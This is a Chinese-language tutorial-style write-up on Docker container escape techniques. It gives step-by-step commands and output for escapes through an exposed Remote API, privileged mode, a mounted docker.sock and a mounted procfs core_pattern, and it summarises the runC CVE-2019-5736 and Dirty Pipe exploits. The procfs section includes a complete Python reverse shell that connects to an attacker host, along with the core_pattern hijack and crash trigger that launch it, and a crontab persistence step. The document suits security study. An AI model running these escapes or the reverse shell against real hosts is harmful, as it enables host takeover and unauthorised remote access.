~/docker# docker run -it nginx /bin/bash

root@a9252d978133:/# cat /proc/1/cgroup
0::/

root@a9252d978133:/# ls -a
.   .dockerenv  boot  docker-entrypoint.d   etc   lib    media  opt   root  sbin  sys  usr
..  bin         dev   docker-entrypoint.sh  home  lib64  mnt    proc  run   srv   tmp  var

root@a9252d978133:/# env
HOSTNAME=a9252d978133
PWD=/
PKG_RELEASE=1~bookworm
HOME=/root
NJS_VERSION=0.8.3
TERM=xterm
SHLVL=1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NGINX_VERSION=1.25.4
_=/usr/bin/env

root@a9252d978133:/# mount | grep '/ type'
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/LPKZRVTP753VVXKM3ARZUK5OR2:/var/lib/docker/overlay2/l/AR7676WYAQNJS24WTSN5XA7V2I:/var/lib/docker/overlay2/l/DJKBU2ILQ2JIDHBVK4QMCXBSA7:/var/lib/docker/overlay2/l/JRSTI6UYS62A736CLJZFI6NNDO:/var/lib/docker/overlay2/l/6NPGO2PXGP3TVCVUCHWONBNIJF:/var/lib/docker/overlay2/l/BHLVJVJ5LD4VISES4VI6QFBGNN:/var/lib/docker/overlay2/l/XUYCWER26LYZCXFWJNF26X2HLC:/var/lib/docker/overlay2/l/KRKBYSDIT6JVAD7EUXOGIGYDXK,upperdir=/var/lib/docker/overlay2/ab464eeafa5120fc43e39033f5ee47577384378633d654b18009df07c55a81b3/diff,workdir=/var/lib/docker/overlay2/ab464eeafa5120fc43e39033f5ee47577384378633d654b18009df07c55a81b3/work)

root@a9252d978133:/# fdisk -l
bash: fdisk: command not found

可以发现，部分测试通过部分没有，但大体来讲能判断目前处于一个docker环境。

基于 API 漏洞的逃逸

Docker 远程API 未授权访问逃逸

该漏洞起因是因为使用Docker Swarm时，管理的docker 节点上便会开放一个TCP端口2375/2376，绑定在0.0.0.0上，http访问会返回 404 page not found。这是 Docker RemoteAPI，可以执行docker命令，比如访问 http://x.x.x.x:2375/containers/json 会返回服务器当前运行的 container 列表，和在 docker CLI 上执行 docker ps 的效果一样，其他操作比如创建/删除 container，拉取 image 等操作也都可以通过API调用完成。

docker 容器复现

在配置Docker启动文件(


            /usr/lib/systemd/system/docker.service)

时，添加允许任何网段访问


            Docker Remote API

1
2
3

root@VM-8-4-debian:/docker-test# docker run --rm -ti ubuntu bash
root@ff7d66f8c120:/# IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."
Docker Remote API Is Enabled.

在本地利用该 API 创建容器并挂载逃逸(后面有示例)：


            docker -H tcp://x.x.x.x:2375 run -it -v /docker-test:/test ubuntu /bin/bash

基于危险配置的逃逸

privileged特权模式运行容器

最初，容器特权模式的出现是为了帮助开发者实现Docker-in-Docker特性。然而，在特权模式下运行不完全受控容器将给宿主机带来极大安全威胁。

当操作者执行 docker run --privileged 时，Docker将允许容器访问宿主机上的所有设备，同时修改AppArmor或SELinux的配置，使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

在这样的场景下，从容器中逃逸出去时易如反掌的。例如：攻击者可以直接在容器内部挂载宿主机磁盘，然后将根目录切换过去。

docker 容器复现

root@VM-8-4-debian:~# docker exec -it 18a16c0e62f0  /bin/bash
root@18a16c0e62f0:/# cat /proc/self/status |grep Cap
CapInh: 0000000000000000
CapPrm: 000001ffffffffff
CapEff: 000001ffffffffff
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000

可以看到 CapEff 对应的掩码值为 0000001fffffffff （ps：搜出来的blog写的是 0000003fffffffff 不过后面也能挂载，问题不大。）

1
2

root@18a16c0e62f0:/# capsh --decode=0000001fffffffff
0x0000001fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend

root@18a16c0e62f0:/# fdisk -l
	···
Device     Boot Start       End   Sectors Size Id Type
/dev/vda1  *     2048 125829086 125827039  60G 83 Linux

root@18a16c0e62f0:/#mkdir /test
root@18a16c0e62f0:/#mount /dev/vda1 /test

root@18a16c0e62f0:/# touch /test/test.sh
root@18a16c0e62f0:/# echo "111" > /test/test.sh
root@18a16c0e62f0:/# echo "* * * * * root bash /test.sh" >> /test/etc/crontab

root@VM-8-4-debian:~# cat /etc/crontab
	···
* * * * * root bash /test.sh                 
 #可以看到已经写进去了

其中的


             test.sh

我们就可以写反弹 shell 的命令

注意！注意！注意！

此时 /test 和宿主机的 / 被挂载在一起，删除 test 就相当于删除 / ！ 😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭


              docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu /bin/bash

如果能再 docker 中找到 sock 挂载文件就说明漏洞存在(


              find / -name *.sock

)

在容器中装


              docker

：


              apt-get update;apt-get install docker.io

在


              docker

容器中，使用命令查看宿主机拉取的镜像


              docker -H unix://var/run/docker.sock images

# docker -H unix://var/run/docker.sock images 
REPOSITORY    TAG       IMAGE ID       CREATED         SIZE
ubuntu        latest    3db8720ecbf5   2 weeks ago     77.9MB
hello-world   latest    d2c94e258dcb   10 months ago   13.3kB
# 已经看到宿主机的docker

在该 docker 中运行一个 docker 如上面的 ubuntu 然后把宿主机根目录挂载进来。

1 2	root@33bbc53772f2:/# docker -H unix://var/run/docker.sock run -v /docker-test:/test -it ubuntu /bin/bash root@5138e163ac71:/# //可以看到已经换容器了。

剩下操作与第一个基于特权的一样，写计划任务

挂载宿主机 procfs 的情况

procfs是一个伪文件系统，它动态反映着系统内进程及其他组件的状态，其中有许多十分敏感重要的文件。因此，将宿主机的procfs挂载到不受控的容器中也是十分危险的，尤其是在该容器内默认启用root权限，且没有开启User Namespace时。

文件


              /proc/sys/kernel/core_pattern

它在Linux系统中，如果进程崩溃了，系统内核会捕获到进程崩溃信息，将进程崩溃信息传递给这个文件中的程序或者脚本。

从 2.6.19 内核版本开始，Linux 支持在


              /proc/sys/kernel/core_pattern

中使用新语法。如果该文件中的首个字符是管道符’|’，那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。

docker 容器复现

创建一个容器并挂载


               /proc


               docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

如果能再 docker 中找到两个 core_pattern 文件： find / -name core_pattern

执行以下命令返回’mountes’： find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "mounted." || echo "not mounted."

当启动一个容器时，会在


               /var/lib/docker/overlay2

目录下生成一层容器层，容器层里面包括


               diff、link、lower、merged、work

目录，而


               docker

容器的目录保存在


               merged

目录中，通过命令找到当前容器在宿主机下的绝对路径，


               workdir

代表的是


               docker

容器在宿主机中的绝对路径

#宿主机
root@VM-8-4-debian:/var/lib/docker# cd /var/lib/docker/overlay2
root@VM-8-4-debian:/var/lib/docker/overlay2# ls
760e81e5bdc90d8c5ab2e47e1ae4b3c98667a551d441e40d55581839c2139e0c
760e81e5bdc90d8c5ab2e47e1ae4b3c98667a551d441e40d55581839c2139e0c-init
96e2b79bdb96147754d96aa991dc3f350b9b30dbd52e566ac58026d24cebcc5f
aba62047cc5b79a3ab92605b0d3aa8262d2ad6bbaf1d8706561092f4930cd3ba
l
root@VM-8-4-debian:/var/lib/docker/overlay2# cd 760e81e5bdc90d8c5ab2e47e1ae4b3c98667a551d441e40d55581839c2139e0c
root@VM-8-4-debian:/var/lib/docker/overlay2/760e81e5bdc90d8c5ab2e47e1ae4b3c98667a551d441e40d55581839c2139e0c# ls
diff  link  lower  merged  work
root@VM-8-4-debian:/var/lib/docker/overlay2/760e81e5bdc90d8c5ab2e47e1ae4b3c98667a551d441e40d55581839c2139e0c# cd merged;ls
bin   dev  home  lib    lib64   media  opt   root  sbin  sys  usr
boot  etc  host  lib32  libx32  mnt    proc  run   srv   tmp  var

在容器中查看该绝对路径并定义为 host_dir : host_path=$(sed -n 's/.*\\perdir=\$[^,]*\$.*/\\1/p' /etc/mtab)

写马： echo -e "|$host_dir/tmp/.t.py \\rcore" > /host/sys/kernel/core_pattern

接下来在容器里： /tmp/.x.py 中写马

import os
import pty
import socket
lhost = "xxx"
lport = xxx
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()

最后，在容器内运行一个可以崩溃的程序即可，例如：x.c

#include <stdio.h>

int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}

运行： gcc t.c -o t && ./t （容器需要提前安装 gcc 环境）

基于程序漏洞的逃逸

相关程序漏洞，指的是那些参与到容器生态中的服务端、客户端程序自身存在的漏洞。有关程序组件，见下图：

Docker runC逃逸-CVE-2019-5736

比较详细的解说见：容器逃逸成真：从CTF解题到CVE-2019-5736漏洞挖掘分析
我们在执行功能类似于 docker exec 的命令时，底层实际上是容器运行时在操作。例如 runc
相应地， runc exec 命令会被执行。它的最终效果是在容器内部执行用户指定的程序。进一步讲，就是在容器的各种命名空间内，受到各种限制（如 cgroups ）的情况下，启动一个进程。除此以外，这个操作与宿主机上执行一个程序并无二致。
这个过程中存在的风险在于： /proc ：如果尝试打开 /proc/[PID]/exe ，在权限检查通过的情况下，内核将直接返回一个指向该文件的描述符（file descriptor），而非按照传统的打开方式去做路径解析和文件查找。这样一来，它实际上绕过了 mnt 命名空间及 chroot 对一个进程能够访问到的文件路径的限制。
在 runc exec 加入到容器的命名空间之后，容器内进程已经能够通过内部 /proc 观察到它，此时如果打开 /proc/[runc-PID]/exe 并写入一些内容，就能够实现将宿主机上的 runc 二进制程序覆盖掉！这样一来，下一次用户调用 runc 去执行命令时，实际执行的将是攻击者放置的指令。

在未升级的容器环境上，上述思路是可行的，但是攻击者想要在容器内实现宿主机上的代码执行（逃逸），还需要面对两个限制：

需要具有容器内部 root 权限；
Linux 不允许修改正在运行进程对应的本地二进制文件。

事实上，限制1经常不存在，很多容器服务开放给用户的仍然是root权限；而限制2是可以克服的

docker version <= 18.09.2

RunC version < 1.0-rc6

因为个人服务器docker版本过高，且EXP成熟，就不复现了。流程：

使用EXP： https://github.com/Frichetten/CVE-2019-5736-PoC
编译POC： CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
开启监听后在容器中模拟用户进入docker镜像： docker exec -it container_id bash
此时会发现runC文件被改变

基于内核漏洞的逃逸

脏管道(CVE-2022-0847) Dirty Pipe

该漏洞的大概原理为 splice 系统调用由于未初始化某buf，可能包含旧的 PIPE_BUF_FLAG_CAN_MERGE ，导致可以通过管道越界写，覆盖关键文件如 /etc/passwd 可达到提权的效果。因漏洞类型和“DirtyCow”（脏牛）类似，发现者 Max Kellermann 研究员将该漏洞命名为 Dirty Pipe
CVE-2022-0847 dirtypipe linux本地提权全网第二详细漏洞分析

总结一些前置知识点

管道与重定向的简单区别在于，重定向将命令与文件连接起来，而管道符将命令与命令连接起来。
pipe_write 函数对 PIPE_BUF_FLAG_CAN_MERGE 的操作，本来无关痛痒，只是可以随意覆写管道。但是由于 page cache 的存在，令我们随意覆写管道转换成随意覆写文件，后面想到可以覆写 /etc/passwd ，最终达到提权的目的
在虚拟机（centos 7， 3.10.0-1160 kernal）中使用 psych 用户进行测试
使用 github 上 poc，运行后直接提权为 root
- 贴不了图了，centos 7 精简版难用的我想杀人
- 创建pipe
- 使用任意数据填充管道(填满, 而且是填满Pipe的最大空间)
- 清空管道内数据
- 使用splice()读取目标文件(只读)的1字节数据发送至pipe
- write()将任意数据继续写入pipe, 此数据将会覆盖目标文件内容

概念

安全问题

容器逃逸

原理

利用

检测容器环境

docker 容器复现

基于 API 漏洞的逃逸

Docker 远程API 未授权访问逃逸

docker 容器复现

基于危险配置的逃逸

privileged特权模式运行容器

docker 容器复现

基于危险挂载的逃逸

挂载 Docker Socket 的情况

docker 容器复现

挂载宿主机 procfs 的情况

docker 容器复现

基于程序漏洞的逃逸

Docker runC逃逸-CVE-2019-5736

基于内核漏洞的逃逸

脏管道(CVE-2022-0847) Dirty Pipe

总结